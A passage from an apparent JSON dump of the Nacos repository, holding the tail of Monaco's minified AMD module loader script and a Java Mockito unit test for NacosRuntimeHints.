e;var r=Array.isArray(e)?[]:{};return t.forEachProperty(e,function(e,n){r[e]=n&&\"object\"==typeof n?t.recursiveClone(n):n}),r},t.generateAnonymousModule=function(){return\"===anonymous\"+t.NEXT_ANONYMOUS_ID+++\"===\"},t.isAnonymousModule=function(e){return/^===anonymous/.test(e)},t.getHighPerformanceTimestamp=function(){return this.PERFORMANCE_NOW_PROBED||(this.PERFORMANCE_NOW_PROBED=!0,this.HAS_PERFORMANCE_NOW=e.global.performance&&\"function\"==typeof e.global.performance.now),this.HAS_PERFORMANCE_NOW?e.global.performance.now():Date.now()},t}();t.NEXT_ANONYMOUS_ID=1,t.PERFORMANCE_NOW_PROBED=!1,t.HAS_PERFORMANCE_NOW=!1,e.Utilities=t}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(){}return t.validateConfigurationOptions=function(t,r){return\"string\"!=typeof(r=r||{}).baseUrl&&(r.baseUrl=\"\"),\"boolean\"!=typeof r.isBuild&&(r.isBuild=!1),\"object\"!=typeof r.paths&&(r.paths={}),\"object\"!=typeof r.config&&(r.config={}),void 0===r.catchError&&(r.catchError=t),\"string\"!=typeof r.urlArgs&&(r.urlArgs=\"\"),\"function\"!=typeof r.onError&&(r.onError=function(e){return\"load\"===e.errorCode?(console.error('Loading \"'+e.moduleId+'\" failed'),console.error(\"Detail: \",e.detail),e.detail&&e.detail.stack&&console.error(e.detail.stack),console.error(\"Here are the modules that depend on it:\"),void console.error(e.neededBy)):\"factory\"===e.errorCode?(console.error('The factory method of \"'+e.moduleId+'\" has thrown an exception'),console.error(e.detail),void(e.detail&&e.detail.stack&&console.error(e.detail.stack))):void 0}),\"object\"==typeof r.ignoreDuplicateModules&&Array.isArray(r.ignoreDuplicateModules)||(r.ignoreDuplicateModules=[]),r.baseUrl.length>0&&(e.Utilities.endsWith(r.baseUrl,\"/\")||(r.baseUrl+=\"/\")),Array.isArray(r.nodeModules)||(r.nodeModules=[]),(\"number\"!=typeof r.nodeCachedDataWriteDelay||r.nodeCachedDataWriteDelay<0)&&(r.nodeCachedDataWriteDelay=7e3),\"function\"!=typeof r.onNodeCachedData&&(r.onNodeCachedData=function(e,t){e&&(\"cachedDataRejected\"===e.errorCode?console.warn(\"Rejected cached data from file: \"+e.path):\"unlink\"===e.errorCode||\"writeFile\"===e.errorCode?(console.error(\"Problems writing cached data file: \"+e.path),console.error(e.detail)):console.error(e))}),r},t.mergeConfigurationOptions=function(r,n,o){void 0===n&&(n=null),void 0===o&&(o=null);var i=e.Utilities.recursiveClone(o||{});return e.Utilities.forEachProperty(n,function(t,r){\"ignoreDuplicateModules\"===t&&void 0!==i.ignoreDuplicateModules?i.ignoreDuplicateModules=i.ignoreDuplicateModules.concat(r):\"paths\"===t&&void 0!==i.paths?e.Utilities.forEachProperty(r,function(e,t){return i.paths[e]=t}):\"config\"===t&&void 0!==i.config?e.Utilities.forEachProperty(r,function(e,t){return i.config[e]=t}):i[t]=e.Utilities.recursiveClone(r)}),t.validateConfigurationOptions(r,i)},t}();e.ConfigurationOptionsUtil=t;var r=function(){function r(e,r){if(this._env=e,this.options=t.mergeConfigurationOptions(this._env.isWebWorker,r),this._createIgnoreDuplicateModulesMap(),this._createNodeModulesMap(),this._createSortedPathsRules(),\"\"===this.options.baseUrl){if(this._env.isNode&&this.options.nodeRequire&&this.options.nodeRequire.main&&this.options.nodeRequire.main.filename){var n=this.options.nodeRequire.main.filename,o=Math.max(n.lastIndexOf(\"/\"),n.lastIndexOf(\"\\\\\"));this.options.baseUrl=n.substring(0,o+1)}if(this._env.isNode&&this.options.nodeMain){var n=this.options.nodeMain,o=Math.max(n.lastIndexOf(\"/\"),n.lastIndexOf(\"\\\\\"));this.options.baseUrl=n.substring(0,o+1)}}}return r.prototype._createIgnoreDuplicateModulesMap=function(){this.ignoreDuplicateModulesMap={};for(var e=0;e<this.options.ignoreDuplicateModules.length;e++)this.ignoreDuplicateModulesMap[this.options.ignoreDuplicateModules[e]]=!0},r.prototype._createNodeModulesMap=function(){this.nodeModulesMap=Object.create(null);for(var e=0,t=this.options.nodeModules;e<t.length;e++){var r=t[e];this.nodeModulesMap[r]=!0}},r.prototype._createSortedPathsRules=function(){var t=this;this.sortedPathsRules=[],e.Utilities.forEachProperty(this.options.paths,function(e,r){Array.isArray(r)?t.sortedPathsRules.push({from:e,to:r}):t.sortedPathsRules.push({from:e,to:[r]})}),this.sortedPathsRules.sort(function(e,t){return t.from.length-e.from.length})},r.prototype.cloneAndMerge=function(e){return new r(this._env,t.mergeConfigurationOptions(this._env.isWebWorker,e,this.options))},r.prototype.getOptionsLiteral=function(){return this.options},r.prototype._applyPaths=function(t){for(var r,n=0,o=this.sortedPathsRules.length;n<o;n++)if(r=this.sortedPathsRules[n],e.Utilities.startsWith(t,r.from)){for(var i=[],s=0,a=r.to.length;s<a;s++)i.push(r.to[s]+t.substr(r.from.length));return i}return[t]},r.prototype._addUrlArgsToUrl=function(t){return e.Utilities.containsQueryString(t)?t+\"&\"+this.options.urlArgs:t+\"?\"+this.options.urlArgs},r.prototype._addUrlArgsIfNecessaryToUrl=function(e){return this.options.urlArgs?this._addUrlArgsToUrl(e):e},r.prototype._addUrlArgsIfNecessaryToUrls=function(e){if(this.options.urlArgs)for(var t=0,r=e.length;t<r;t++)e[t]=this._addUrlArgsToUrl(e[t]);return e},r.prototype.moduleIdToPaths=function(t){if(!0===this.nodeModulesMap[t])return this.isBuild()?[\"empty:\"]:[\"node|\"+t];var r,n=t;if(e.Utilities.endsWith(n,\".js\")||e.Utilities.isAbsolutePath(n))e.Utilities.endsWith(n,\".js\")||e.Utilities.containsQueryString(n)||(n+=\".js\"),r=[n];else for(var o=0,i=(r=this._applyPaths(n)).length;o<i;o++)this.isBuild()&&\"empty:\"===r[o]||(e.Utilities.isAbsolutePath(r[o])||(r[o]=this.options.baseUrl+r[o]),e.Utilities.endsWith(r[o],\".js\")||e.Utilities.containsQueryString(r[o])||(r[o]=r[o]+\".js\"));return this._addUrlArgsIfNecessaryToUrls(r)},r.prototype.requireToUrl=function(t){var r=t;return e.Utilities.isAbsolutePath(r)||(r=this._applyPaths(r)[0],e.Utilities.isAbsolutePath(r)||(r=this.options.baseUrl+r)),this._addUrlArgsIfNecessaryToUrl(r)},r.prototype.isBuild=function(){return this.options.isBuild},r.prototype.isDuplicateMessageIgnoredFor=function(e){return this.ignoreDuplicateModulesMap.hasOwnProperty(e)},r.prototype.getConfigForModule=function(e){if(this.options.config)return this.options.config[e]},r.prototype.shouldCatchError=function(){return this.options.catchError},r.prototype.shouldRecordStats=function(){return this.options.recordStats},r.prototype.onError=function(e){this.options.onError(e)},r}();e.Configuration=r}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function e(e){this.actualScriptLoader=e,this.callbackMap={}}return e.prototype.load=function(e,t,r,n){var o=this,i={callback:r,errorback:n};this.callbackMap.hasOwnProperty(t)?this.callbackMap[t].push(i):(this.callbackMap[t]=[i],this.actualScriptLoader.load(e,t,function(){return o.triggerCallback(t)},function(e){return o.triggerErrorback(t,e)}))},e.prototype.triggerCallback=function(e){var t=this.callbackMap[e];delete this.callbackMap[e];for(var r=0;r<t.length;r++)t[r].callback()},e.prototype.triggerErrorback=function(e,t){var r=this.callbackMap[e];delete this.callbackMap[e];for(var n=0;n<r.length;n++)r[n].errorback(t)},e}(),r=function(){function e(){}return e.prototype.attachListeners=function(e,t,r){var n=function(){e.removeEventListener(\"load\",o),e.removeEventListener(\"error\",i)},o=function(e){n(),t()},i=function(e){n(),r(e)};e.addEventListener(\"load\",o),e.addEventListener(\"error\",i)},e.prototype.load=function(e,t,r,n){var o=document.createElement(\"script\");o.setAttribute(\"async\",\"async\"),o.setAttribute(\"type\",\"text/javascript\"),this.attachListeners(o,r,n),o.setAttribute(\"src\",t),document.getElementsByTagName(\"head\")[0].appendChild(o)},e}(),n=function(){function e(){}return e.prototype.load=function(e,t,r,n){try{importScripts(t),r()}catch(e){n(e)}},e}(),o=function(){function t(e){this._env=e,this._didInitialize=!1,this._didPatchNodeRequire=!1}return t.prototype._init=function(e){if(!this._didInitialize){this._didInitialize=!0,this._fs=e(\"fs\"),this._vm=e(\"vm\"),this._path=e(\"path\"),this._crypto=e(\"crypto\"),this._jsflags=\"\";for(var t=0,r=process.argv;t<r.length;t++){var n=r[t];if(0===n.indexOf(\"--js-flags=\")){this._jsflags=n;break}}}},t.prototype._initNodeRequire=function(t,r){function n(e){var t=e.constructor,r=function(t){try{return e.require(t)}finally{}};return r.resolve=function(r){return t._resolveFilename(r,e)},r.main=process.mainModule,r.extensions=t._extensions,r.cache=t._cache,r}var o=r.getConfig().getOptionsLiteral().nodeCachedDataDir;if(o&&!this._didPatchNodeRequire){this._didPatchNodeRequire=!0;var i=this,s=t(\"module\");s.prototype._compile=function(t,a){t=t.replace(/^#!.*/,\"\");var d=s.wrap(t),l=i._getCachedDataPath(o,a),u={filename:a};try{u.cachedData=i._fs.readFileSync(l)}catch(e){u.produceCachedData=!0}var c=new i._vm.Script(d,u),h=c.runInThisContext(u),f=i._path.dirname(a),p=n(this),g=[this.exports,p,this,a,f,process,e.global,Buffer],v=h.apply(this.exports,g);return i._processCachedData(r,c,l),v}}},t.prototype.load=function(r,n,o,i){var s=this,a=r.getConfig().getOptionsLiteral(),d=a.nodeRequire||e.global.nodeRequire,l=a.nodeInstrumenter||function(e){return e};this._init(d),this._initNodeRequire(d,r);var u=r.getRecorder();if(/^node\\|/.test(n)){var c=n.split(\"|\"),h=null;try{h=d(c[1])}catch(e){return void i(e)}r.enqueueDefineAnonymousModule([],function(){return h}),o()}else n=e.Utilities.fileUriToFilePath(this._env.isWindows,n),this._fs.readFile(n,{encoding:\"utf8\"},function(e,d){if(e)i(e);else{var c=s._path.normalize(n),h=c;if(s._env.isElectronRenderer){var f=h.match(/^([a-z])\\:(.*)/i);h=f?\"file:///\"+(f[1].toUpperCase()+\":\"+f[2]).replace(/\\\\/g,\"/\"):\"file://\"+h}var p,g=\"(function (require, define, __filename, __dirname) { \";if(p=d.charCodeAt(0)===t._BOM?g+d.substring(1)+\"\\n});\":g+d+\"\\n});\",p=l(p,c),a.nodeCachedDataDir){var v=s._getCachedDataPath(a.nodeCachedDataDir,n);s._fs.readFile(v,function(e,t){var i={filename:h,produceCachedData:void 0===t,cachedData:t},a=s._loadAndEvalScript(r,n,h,p,i,u);o(),s._processCachedData(r,a,v)})}else s._loadAndEvalScript(r,n,h,p,{filename:h},u),o()}})},t.prototype._loadAndEvalScript=function(t,r,n,o,i,s){s.record(e.LoaderEventType.NodeBeginEvaluatingScript,r);var a=new this._vm.Script(o,i);return a.runInThisContext(i).call(e.global,t.getGlobalAMDRequireFunc(),t.getGlobalAMDDefineFunc(),n,this._path.dirname(r)),s.record(e.LoaderEventType.NodeEndEvaluatingScript,r),a},t.prototype._getCachedDataPath=function(e,t){var r=this._crypto.createHash(\"md5\").update(t,\"utf8\").update(this._jsflags,\"utf8\").digest(\"hex\"),n=this._path.basename(t).replace(/\\.js$/,\"\");return this._path.join(e,n+\"-\"+r+\".code\")},t.prototype._processCachedData=function(e,r,n){var o=this;r.cachedDataRejected?(e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"cachedDataRejected\",path:n}),t._runSoon(function(){return o._fs.unlink(n,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"unlink\",path:n,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay)):r.cachedDataProduced&&(e.getConfig().getOptionsLiteral().onNodeCachedData(void 0,{path:n,length:r.cachedData.length}),t._runSoon(function(){return o._fs.writeFile(n,r.cachedData,function(t){t&&e.getConfig().getOptionsLiteral().onNodeCachedData({errorCode:\"writeFile\",path:n,detail:t})})},e.getConfig().getOptionsLiteral().nodeCachedDataWriteDelay))},t._runSoon=function(e,t){var r=t+Math.ceil(Math.random()*t);setTimeout(e,r)},t}();o._BOM=65279,e.createScriptLoader=function(e){return new t(e.isWebWorker?new n:e.isNode?new o(e):new r)}}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(e){var t=e.lastIndexOf(\"/\");this.fromModulePath=-1!==t?e.substr(0,t+1):\"\"}return t._normalizeModuleId=function(e){var t,r=e;for(t=/\\/\\.\\//;t.test(r);)r=r.replace(t,\"/\");for(r=r.replace(/^\\.\\//g,\"\"),t=/\\/(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//;t.test(r);)r=r.replace(t,\"/\");return r=r.replace(/^(([^\\/])|([^\\/][^\\/\\.])|([^\\/\\.][^\\/])|([^\\/][^\\/][^\\/]+))\\/\\.\\.\\//,\"\")},t.prototype.resolveModule=function(r){var n=r;return e.Utilities.isAbsolutePath(n)||(e.Utilities.startsWith(n,\"./\")||e.Utilities.startsWith(n,\"../\"))&&(n=t._normalizeModuleId(this.fromModulePath+n)),n},t}();t.ROOT=new t(\"\"),e.ModuleIdResolver=t;var r=function(){function t(e,t,r,n,o,i){this.id=e,this.strId=t,this.dependencies=r,this._callback=n,this._errorback=o,this.moduleIdResolver=i,this.exports={},this.exportsPassedIn=!1,this.unresolvedDependenciesCount=this.dependencies.length,this._isComplete=!1}return t._safeInvokeFunction=function(t,r){try{return{returnedValue:t.apply(e.global,r),producedError:null}}catch(e){return{returnedValue:null,producedError:e}}},t._invokeFactory=function(t,r,n,o){return t.isBuild()&&!e.Utilities.isAnonymousModule(r)?{returnedValue:null,producedError:null}:t.shouldCatchError()?this._safeInvokeFunction(n,o):{returnedValue:n.apply(e.global,o),producedError:null}},t.prototype.complete=function(r,n,o){this._isComplete=!0;var i=null;if(this._callback)if(\"function\"==typeof this._callback){r.record(e.LoaderEventType.BeginInvokeFactory,this.strId);var s=t._invokeFactory(n,this.strId,this._callback,o);i=s.producedError,r.record(e.LoaderEventType.EndInvokeFactory,this.strId),i||void 0===s.returnedValue||this.exportsPassedIn&&!e.Utilities.isEmpty(this.exports)||(this.exports=s.returnedValue)}else this.exports=this._callback;i&&n.onError({errorCode:\"factory\",moduleId:this.strId,detail:i}),this.dependencies=null,this._callback=null,this._errorback=null,this.moduleIdResolver=null},t.prototype.onDependencyError=function(e){return!!this._errorback&&(this._errorback(e),!0)},t.prototype.isComplete=function(){return this._isComplete},t}();e.Module=r;var n=function(){function e(){this._nextId=0,this._strModuleIdToIntModuleId=new Map,this._intModuleIdToStrModuleId=[],this.getModuleId(\"exports\"),this.getModuleId(\"module\"),this.getModuleId(\"require\")}return e.prototype.getMaxModuleId=function(){return this._nextId},e.prototype.getModuleId=function(e){var t=this._strModuleIdToIntModuleId.get(e);return void 0===t&&(t=this._nextId++,this._strModuleIdToIntModuleId.set(e,t),this._intModuleIdToStrModuleId[t]=e),t},e.prototype.getStrModuleId=function(e){return this._intModuleIdToStrModuleId[e]},e}(),o=function(){return function(e){this.id=e}}();o.EXPORTS=new o(0),o.MODULE=new o(1),o.REQUIRE=new o(2),e.RegularDependency=o;var i=function(){return function(e,t,r){this.id=e,this.pluginId=t,this.pluginParam=r}}();e.PluginDependency=i;var s=function(){function s(t,r,o,i,s){void 0===s&&(s=0),this._env=t,this._scriptLoader=r,this._loaderAvailableTimestamp=s,this._defineFunc=o,this._requireFunc=i,this._moduleIdProvider=new n,this._config=new e.Configuration(this._env),this._modules2=[],this._knownModules2=[],this._inverseDependencies2=[],this._inversePluginDependencies2=new Map,this._currentAnnonymousDefineCall=null,this._recorder=null,this._buildInfoPath=[],this._buildInfoDefineStack=[],this._buildInfoDependencies=[]}return s.prototype.reset=function(){return new s(this._env,this._scriptLoader,this._defineFunc,this._requireFunc,this._loaderAvailableTimestamp)},s.prototype.getGlobalAMDDefineFunc=function(){return this._defineFunc},s.prototype.getGlobalAMDRequireFunc=function(){return this._requireFunc},s._findRelevantLocationInStack=function(e,t){for(var r=function(e){return e.replace(/\\\\/g,\"/\")},n=r(e),o=t.split(/\\n/),i=0;i<o.length;i++){var s=o[i].match(/(.*):(\\d+):(\\d+)\\)?$/);if(s){var a=s[1],d=s[2],l=s[3],u=Math.max(a.lastIndexOf(\" \")+1,a.lastIndexOf(\"(\")+1);if(a=a.substr(u),(a=r(a))===n){var c={line:parseInt(d,10),col:parseInt(l,10)};return 1===c.line&&(c.col-=\"(function (require, define, __filename, __dirname) { \".length),c}}}throw new Error(\"Could not correlate define call site for needle \"+e)},s.prototype.getBuildInfo=function(){if(!this._config.isBuild())return null;for(var e=[],t=0,r=0,n=this._modules2.length;r<n;r++){var o=this._modules2[r];if(o){var i=this._buildInfoPath[o.id]||null,a=this._buildInfoDefineStack[o.id]||null,d=this._buildInfoDependencies[o.id];e[t++]={id:o.strId,path:i,defineLocation:i&&a?s._findRelevantLocationInStack(i,a):null,dependencies:d,shim:null,exports:o.exports}}}return e},s.prototype.getRecorder=function(){return this._recorder||(this._config.shouldRecordStats()?this._recorder=new e.LoaderEventRecorder(this._loaderAvailableTimestamp):this._recorder=e.NullLoaderEventRecorder.INSTANCE),this._recorder},s.prototype.getLoaderEvents=function(){return this.getRecorder().getEvents()},s.prototype.enqueueDefineAnonymousModule=function(e,t){if(null!==this._currentAnnonymousDefineCall)throw new Error(\"Can only have one anonymous define call per script file\");var r=null;this._config.isBuild()&&(r=new Error(\"StackLocation\").stack),this._currentAnnonymousDefineCall={stack:r,dependencies:e,callback:t}},s.prototype.defineModule=function(e,n,o,i,s,a){var d=this;void 0===a&&(a=new t(e));var l=this._moduleIdProvider.getModuleId(e);if(this._modules2[l])this._config.isDuplicateMessageIgnoredFor(e)||console.warn(\"Duplicate definition of module '\"+e+\"'\");else{var u=new r(l,e,this._normalizeDependencies(n,a),o,i,a);this._modules2[l]=u,this._config.isBuild()&&(this._buildInfoDefineStack[l]=s,this._buildInfoDependencies[l]=u.dependencies.map(function(e){return d._moduleIdProvider.getStrModuleId(e.id)})),this._resolve(u)}},s.prototype._normalizeDependency=function(e,t){if(\"exports\"===e)return o.EXPORTS;if(\"module\"===e)return o.MODULE;if(\"require\"===e)return o.REQUIRE;var r=e.indexOf(\"!\");if(r>=0){var n=t.resolveModule(e.substr(0,r)),s=t.resolveModule(e.substr(r+1)),a=this._moduleIdProvider.getModuleId(n+\"!\"+s),d=this._moduleIdProvider.getModuleId(n);return new i(a,d,s)}return new o(this._moduleIdProvider.getModuleId(t.resolveModule(e)))},s.prototype._normalizeDependencies=function(e,t){for(var r=[],n=0,o=0,i=e.length;o<i;o++)r[n++]=this._normalizeDependency(e[o],t);return r},s.prototype._relativeRequire=function(t,r,n,o){if(\"string\"==typeof r)return this.synchronousRequire(r,t);this.defineModule(e.Utilities.generateAnonymousModule(),r,n,o,null,t)},s.prototype.synchronousRequire=function(e,r){void 0===r&&(r=new t(e));var n=this._normalizeDependency(e,r),o=this._modules2[n.id];if(!o)throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This is the first mention of this module!\");if(!o.isComplete())throw new Error(\"Check dependency list! Synchronous require cannot resolve module '\"+e+\"'. This module has not been resolved completely yet.\");return o.exports},s.prototype.configure=function(t,r){var n=this._config.shouldRecordStats();this._config=r?new e.Configuration(this._env,t):this._config.cloneAndMerge(t),this._config.shouldRecordStats()&&!n&&(this._recorder=null)},s.prototype.getConfig=function(){return this._config},s.prototype._onLoad=function(e){if(null!==this._currentAnnonymousDefineCall){var t=this._currentAnnonymousDefineCall;this._currentAnnonymousDefineCall=null,this.defineModule(this._moduleIdProvider.getStrModuleId(e),t.dependencies,t.callback,null,t.stack)}},s.prototype._createLoadError=function(e,t){var r=this;return{errorCode:\"load\",moduleId:this._moduleIdProvider.getStrModuleId(e),neededBy:(this._inverseDependencies2[e]||[]).map(function(e){return r._moduleIdProvider.getStrModuleId(e)}),detail:t}},s.prototype._onLoadError=function(e,t){for(var r=this._createLoadError(e,t),n=[],o=0,i=this._moduleIdProvider.getMaxModuleId();o<i;o++)n[o]=!1;var s=!1,a=[];for(a.push(e),n[e]=!0;a.length>0;){var d=a.shift(),l=this._modules2[d];l&&(s=l.onDependencyError(r)||s);var u=this._inverseDependencies2[d];if(u)for(var o=0,i=u.length;o<i;o++){var c=u[o];n[c]||(a.push(c),n[c]=!0)}}s||this._config.onError(r)},s.prototype._hasDependencyPath=function(e,t){var r=this._modules2[e];if(!r)return!1;for(var n=[],o=0,i=this._moduleIdProvider.getMaxModuleId();o<i;o++)n[o]=!1;var s=[];for(s.push(r),n[e]=!0;s.length>0;){var a=s.shift().dependencies;if(a)for(var o=0,i=a.length;o<i;o++){var d=a[o];if(d.id===t)return!0;var l=this._modules2[d.id];l&&!n[d.id]&&(n[d.id]=!0,s.push(l))}}return!1},s.prototype._findCyclePath=function(e,t,r){if(e===t||50===r)return[e];var n=this._modules2[e];if(!n)return null;for(var o=n.dependencies,i=0,s=o.length;i<s;i++){var a=this._findCyclePath(o[i].id,t,r+1);if(null!==a)return a.push(e),a}return null},s.prototype._createRequire=function(t){var r=this,n=function(e,n,o){return r._relativeRequire(t,e,n,o)};return n.toUrl=function(e){return r._config.requireToUrl(t.resolveModule(e))},n.getStats=function(){return r.getLoaderEvents()},n.__$__nodeRequire=e.global.nodeRequire,n},s.prototype._loadModule=function(t){var r=this;if(!this._modules2[t]&&!this._knownModules2[t]){this._knownModules2[t]=!0;var n=this._moduleIdProvider.getStrModuleId(t),o=this._config.moduleIdToPaths(n);this._env.isNode&&-1===n.indexOf(\"/\")&&o.push(\"node|\"+n);var i=-1,s=function(n){if(++i>=o.length)r._onLoadError(t,n);else{var a=o[i],d=r.getRecorder();if(r._config.isBuild()&&\"empty:\"===a)return r._buildInfoPath[t]=a,r.defineModule(r._moduleIdProvider.getStrModuleId(t),[],null,null,null),void r._onLoad(t);d.record(e.LoaderEventType.BeginLoadingScript,a),r._scriptLoader.load(r,a,function(){r._config.isBuild()&&(r._buildInfoPath[t]=a),d.record(e.LoaderEventType.EndLoadingScriptOK,a),r._onLoad(t)},function(t){d.record(e.LoaderEventType.EndLoadingScriptError,a),s(t)})}};s(null)}},s.prototype._loadPluginDependency=function(e,r){var n=this;if(!this._modules2[r.id]&&!this._knownModules2[r.id]){this._knownModules2[r.id]=!0;var o=function(e){n.defineModule(n._moduleIdProvider.getStrModuleId(r.id),[],e,null,null)};o.error=function(e){n._config.onError(n._createLoadError(r.id,e))},e.load(r.pluginParam,this._createRequire(t.ROOT),o,this._config.getOptionsLiteral())}},s.prototype._resolve=function(e){for(var t=this,r=e.dependencies,n=0,s=r.length;n<s;n++){var a=r[n];if(a!==o.EXPORTS)if(a!==o.MODULE)if(a!==o.REQUIRE){var d=this._modules2[a.id];if(d&&d.isComplete())e.unresolvedDependenciesCount--;else if(this._hasDependencyPath(a.id,e.id)){console.warn(\"There is a dependency cycle between '\"+this._moduleIdProvider.getStrModuleId(a.id)+\"' and '\"+this._moduleIdProvider.getStrModuleId(e.id)+\"'. The cyclic path follows:\");var l=this._findCyclePath(a.id,e.id,0);l.reverse(),l.push(a.id),console.warn(l.map(function(e){return t._moduleIdProvider.getStrModuleId(e)}).join(\" => \\n\")),e.unresolvedDependenciesCount--}else if(this._inverseDependencies2[a.id]=this._inverseDependencies2[a.id]||[],this._inverseDependencies2[a.id].push(e.id),a instanceof i){var u=this._modules2[a.pluginId];if(u&&u.isComplete()){this._loadPluginDependency(u.exports,a);continue}var c=this._inversePluginDependencies2.get(a.pluginId);c||(c=[],this._inversePluginDependencies2.set(a.pluginId,c)),c.push(a),this._loadModule(a.pluginId)}else this._loadModule(a.id)}else e.unresolvedDependenciesCount--;else e.unresolvedDependenciesCount--;else e.exportsPassedIn=!0,e.unresolvedDependenciesCount--}0===e.unresolvedDependenciesCount&&this._onModuleComplete(e)},s.prototype._onModuleComplete=function(e){var t=this,r=this.getRecorder();if(!e.isComplete()){for(var n=e.dependencies,i=[],s=0,a=n.length;s<a;s++){var d=n[s];if(d!==o.EXPORTS)if(d!==o.MODULE)if(d!==o.REQUIRE){var l=this._modules2[d.id];i[s]=l?l.exports:null}else i[s]=this._createRequire(e.moduleIdResolver);else i[s]={id:e.strId,config:function(){return t._config.getConfigForModule(e.strId)}};else i[s]=e.exports}e.complete(r,this._config,i);var u=this._inverseDependencies2[e.id];if(this._inverseDependencies2[e.id]=null,u)for(var s=0,a=u.length;s<a;s++){var c=u[s],h=this._modules2[c];h.unresolvedDependenciesCount--,0===h.unresolvedDependenciesCount&&this._onModuleComplete(h)}var f=this._inversePluginDependencies2.get(e.id);if(f){this._inversePluginDependencies2.delete(e.id);for(var s=0,a=f.length;s<a;s++)this._loadPluginDependency(e.exports,f[s])}}},s}();e.ModuleManager=s}(AMDLoader||(AMDLoader={}));var define,AMDLoader;!function(e){function t(){(o=function(e,t,r){\"string\"!=typeof e&&(r=t,t=e,e=null),\"object\"==typeof t&&Array.isArray(t)||(r=t,t=null),t||(t=[\"require\",\"exports\",\"module\"]),e?n.defineModule(e,t,r,null,null):n.enqueueDefineAnonymousModule(t,r)}).amd={jQuery:!0};var t=function(e,t){void 0===t&&(t=!1),n.configure(e,t)};(i=function(){if(1===arguments.length){if(arguments[0]instanceof Object&&!Array.isArray(arguments[0]))return void t(arguments[0]);if(\"string\"==typeof arguments[0])return n.synchronousRequire(arguments[0])}if(2!==arguments.length&&3!==arguments.length||!Array.isArray(arguments[0]))throw new Error(\"Unrecognized require call\");n.defineModule(e.Utilities.generateAnonymousModule(),arguments[0],arguments[1],arguments[2],null)}).config=t,i.getConfig=function(){return n.getConfig().getOptionsLiteral()},i.reset=function(){n=n.reset()},i.getBuildInfo=function(){return n.getBuildInfo()},i.getStats=function(){return n.getLoaderEvents()}}function r(){t();var r=e.Environment.detect(),s=e.createScriptLoader(r);if(n=new e.ModuleManager(r,s,o,i,e.Utilities.getHighPerformanceTimestamp()),r.isNode){var a=e.global.require||require,d=function(t){n.getRecorder().record(e.LoaderEventType.NodeBeginNativeRequire,t);try{return a(t)}finally{n.getRecorder().record(e.LoaderEventType.NodeEndNativeRequire,t)}};e.global.nodeRequire=d,i.nodeRequire=d}r.isNode&&!r.isElectronRenderer?(module.exports=i,define=function(){o.apply(null,arguments)},require=i):(void 0!==e.global.require&&\"function\"!=typeof e.global.require&&i.config(e.global.require),r.isElectronRenderer?define=function(){o.apply(null,arguments)}:e.global.define=define=o,e.global.require=i,e.global.require.__$__nodeRequire=d)}var n=null,o=null,i=null;e.init=r,\"undefined\"!=typeof doNotInitLoader||\"function\"==typeof e.global.define&&e.global.define.amd||r()}(AMDLoader||(AMDLoader={}));\n//# sourceMappingURL=../../min-maps/vs/loader.js.map"
  },
  {
    "path": "console/src/test/java/com/alibaba/nacos/console/aot/NacosRuntimeHintsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.aot;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.aot.hint.MemberCategory;\nimport org.springframework.aot.hint.ReflectionHints;\nimport org.springframework.aot.hint.ResourceHints;\nimport org.springframework.aot.hint.RuntimeHints;\nimport org.springframework.aot.hint.SerializationHints;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.atLeastOnce;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosRuntimeHintsTest {\n    \n    @Mock\n    RuntimeHints runtimeHints;\n    \n    @Mock\n    ResourceHints resourceHints;\n    \n    @Mock\n    SerializationHints serializationHints;\n    \n    @Mock\n    ReflectionHints reflectionHints;\n    \n    NacosRuntimeHints nacosRuntimeHints;\n    \n    @BeforeEach\n    void setUp() throws ClassNotFoundException {\n        nacosRuntimeHints = new NacosRuntimeHints();\n        when(runtimeHints.resources()).thenReturn(resourceHints);\n        when(runtimeHints.serialization()).thenReturn(serializationHints);\n        when(runtimeHints.reflection()).thenReturn(reflectionHints);\n    }\n    \n    @Test\n    void registerHints() {\n        nacosRuntimeHints.registerHints(runtimeHints, null);\n        verify(resourceHints, atLeastOnce()).registerPattern(anyString());\n        verify(serializationHints, atLeastOnce()).registerType(any(Class.class));\n        verify(reflectionHints, atLeastOnce()).registerType(any(Class.class), eq(MemberCategory.INVOKE_DECLARED_CONSTRUCTORS),\n                eq(MemberCategory.INVOKE_DECLARED_METHODS), eq(MemberCategory.DECLARED_FIELDS),\n                eq(MemberCategory.DECLARED_CLASSES));\n    }\n}"
  },
  {
    "path": "console/src/test/java/com/alibaba/nacos/console/cluster/RemoteServerMemberManagerTest.java",
